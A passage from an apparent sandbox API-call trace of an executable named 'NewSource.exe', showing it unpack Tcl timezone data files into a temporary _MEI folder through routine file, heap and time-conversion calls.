lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.532] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.532] CloseHandle (hObject=0x10c) returned 1 [0043.532] GetLastError () returned 0x0 [0043.532] SetLastError (dwErrCode=0x0) [0043.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Turkey") returned 63 [0043.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Turkey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\turkey"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.532] GetLastError () returned 0x2 [0043.532] SetLastError (dwErrCode=0x2) [0043.532] GetLastError () returned 0x2 [0043.532] SetLastError (dwErrCode=0x2) [0043.532] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Turkey", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Turkey", lpFilePart=0x0) returned 0x3e [0043.532] GetLastError () returned 0x2 [0043.532] SetLastError (dwErrCode=0x2) [0043.532] GetLastError () returned 0x2 [0043.532] SetLastError (dwErrCode=0x2) [0043.532] GetLastError () returned 0x2 [0043.532] SetLastError (dwErrCode=0x2) [0043.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Turkey") returned 63 [0043.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Turkey" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\turkey"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.532] GetFileType (hFile=0x10c) returned 0x1 [0043.533] htonl (hostlong=0xaf000000) returned 0xaf [0043.533] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.533] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xaf, lpOverlapped=0x0) returned 1 [0043.534] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.534] CloseHandle (hObject=0x10c) returned 1 [0043.534] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.534] htonl (hostlong=0x30000000) returned 0x30 [0043.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.534] GetFileType (hFile=0x10c) returned 0x1 [0043.534] htonl (hostlong=0xb8325d00) returned 0x5d32b8 [0043.534] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.534] htonl (hostlong=0x7d000000) returned 0x7d [0043.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7d) returned 0x55cfe0 [0043.534] htonl (hostlong=0x7d000000) returned 0x7d [0043.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.534] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.534] htonl (hostlong=0x94000000) returned 0x94 [0043.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x550600 [0043.534] htonl (hostlong=0x7d000000) returned 0x7d [0043.535] htonl (hostlong=0x94000000) returned 0x94 [0043.535] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.535] CloseHandle (hObject=0x10c) returned 1 [0043.535] GetLastError () returned 0x0 [0043.535] SetLastError (dwErrCode=0x0) [0043.535] GetLastError () returned 0x0 [0043.535] SetLastError (dwErrCode=0x0) [0043.535] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.535] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.535] GetFileType (hFile=0x10c) returned 0x1 [0043.535] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.535] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.535] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.535] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.535] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.535] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.535] CloseHandle (hObject=0x10c) returned 1 [0043.535] GetLastError () returned 0x0 [0043.535] SetLastError (dwErrCode=0x0) [0043.535] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.536] GetFileType (hFile=0x10c) returned 0x1 [0043.536] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.536] CloseHandle (hObject=0x10c) returned 1 [0043.536] GetLastError () returned 0x0 [0043.536] SetLastError (dwErrCode=0x0) [0043.536] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UCT") returned 60 [0043.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UCT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\uct"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.536] GetLastError () returned 0x2 [0043.536] SetLastError (dwErrCode=0x2) [0043.536] GetLastError () returned 0x2 [0043.536] SetLastError (dwErrCode=0x2) [0043.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UCT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UCT", lpFilePart=0x0) returned 0x3b [0043.536] GetLastError () returned 0x2 [0043.536] SetLastError (dwErrCode=0x2) [0043.536] GetLastError () returned 0x2 [0043.536] SetLastError (dwErrCode=0x2) [0043.536] GetLastError () returned 0x2 [0043.536] SetLastError (dwErrCode=0x2) [0043.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UCT") returned 60 [0043.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UCT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\uct"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.626] GetFileType (hFile=0x10c) returned 0x1 [0043.626] htonl (hostlong=0x94000000) returned 0x94 [0043.626] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.626] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x94, lpOverlapped=0x0) returned 1 [0043.627] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.627] CloseHandle (hObject=0x10c) returned 1 [0043.627] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.627] htonl (hostlong=0x30000000) returned 0x30 [0043.627] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.627] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.627] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.627] GetFileType (hFile=0x10c) returned 0x1 [0043.627] htonl (hostlong=0x35335d00) returned 0x5d3335 [0043.627] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e335, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.627] htonl (hostlong=0x8b000000) returned 0x8b [0043.627] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0043.627] htonl (hostlong=0x8b000000) returned 0x8b [0043.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.628] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.628] htonl (hostlong=0xb8000000) returned 0xb8 [0043.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x560530 [0043.628] htonl (hostlong=0x8b000000) returned 0x8b [0043.628] htonl (hostlong=0xb8000000) returned 0xb8 [0043.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.628] CloseHandle (hObject=0x10c) returned 1 [0043.628] GetLastError () returned 0x0 [0043.628] SetLastError (dwErrCode=0x0) [0043.628] GetLastError () returned 0x0 [0043.628] SetLastError (dwErrCode=0x0) [0043.628] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.628] GetFileType (hFile=0x10c) returned 0x1 [0043.628] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.628] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.629] CloseHandle (hObject=0x10c) returned 1 [0043.629] GetLastError () returned 0x0 [0043.629] SetLastError (dwErrCode=0x0) [0043.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.629] GetFileType (hFile=0x10c) returned 0x1 [0043.629] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.629] CloseHandle (hObject=0x10c) returned 1 [0043.629] GetLastError () returned 0x0 [0043.629] SetLastError (dwErrCode=0x0) [0043.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.629] GetLastError () returned 0x2 [0043.629] SetLastError (dwErrCode=0x2) [0043.629] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US", lpFilePart=0x0) returned 0x3a [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), lpSecurityAttributes=0x0) returned 1 [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Alaska") returned 66 [0043.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Alaska" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\alaska"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Alaska", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Alaska", lpFilePart=0x0) returned 0x41 [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] GetLastError () returned 0x2 [0043.630] SetLastError (dwErrCode=0x2) [0043.630] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Alaska") returned 66 [0043.631] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Alaska" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\alaska"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.631] GetFileType (hFile=0x10c) returned 0x1 [0043.631] htonl (hostlong=0xb8000000) returned 0xb8 [0043.631] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.631] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0043.632] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.632] CloseHandle (hObject=0x10c) returned 1 [0043.632] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560530 | out: hHeap=0x530000) returned 1 [0043.632] htonl (hostlong=0x30000000) returned 0x30 [0043.632] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, 